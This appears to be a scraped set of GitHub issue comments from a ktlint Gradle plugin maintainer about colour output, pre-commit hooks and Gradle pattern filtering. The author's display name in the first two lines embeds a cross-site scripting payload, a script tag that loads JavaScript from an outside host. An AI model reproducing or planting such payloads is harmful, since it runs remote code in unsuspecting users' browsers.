Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
Does it work in other terminals? Does this work for other ktlint plugins? If so, please provide examples. Otherwise, I don't think this is something we can fix.
> Setting colors did not work for me. And what I don't know to check is the ktlint version, I suppose the ktlint.jar must be downloaded somewhere? You can use...
🤷 Personally, I never thought that this plugin should have a dedicated pre-commit feature. I figured that should be left to some other plugin to support. For example: https://github.com/DanySK/gradle-pre-commit-git-hooks I'm...
😩 yea, this makes sense. Thank you for the report. I don't know if putting the pattern filterable into a provider will solve the problem though.
You know, I noticed this same thing years ago and never questioned it. I presume those escape characters are in there for console printing and somehow they are ending up...
Can you share the commit hook file that was generated for you?
Not at this time. Happy to accept a pull request that addresses these problems as long as an associated unit test is included 🙂
Can you share a build scan? Also, a minor reproducer would be nice. @wakingrufus we could probably automatically filter out this directory when the kotlin-dsl plugin is applied. Thoughts?
Ultimately, we just use Gradle's built in `PaternFilterable` https://docs.gradle.org/current/javadoc/org/gradle/api/tasks/util/PatternFilterable.html The behavior of this filter is, admittedly, confusing, but usually it's not our bug when people have issues. It's usually that...
Approving run now. Sorry about the delay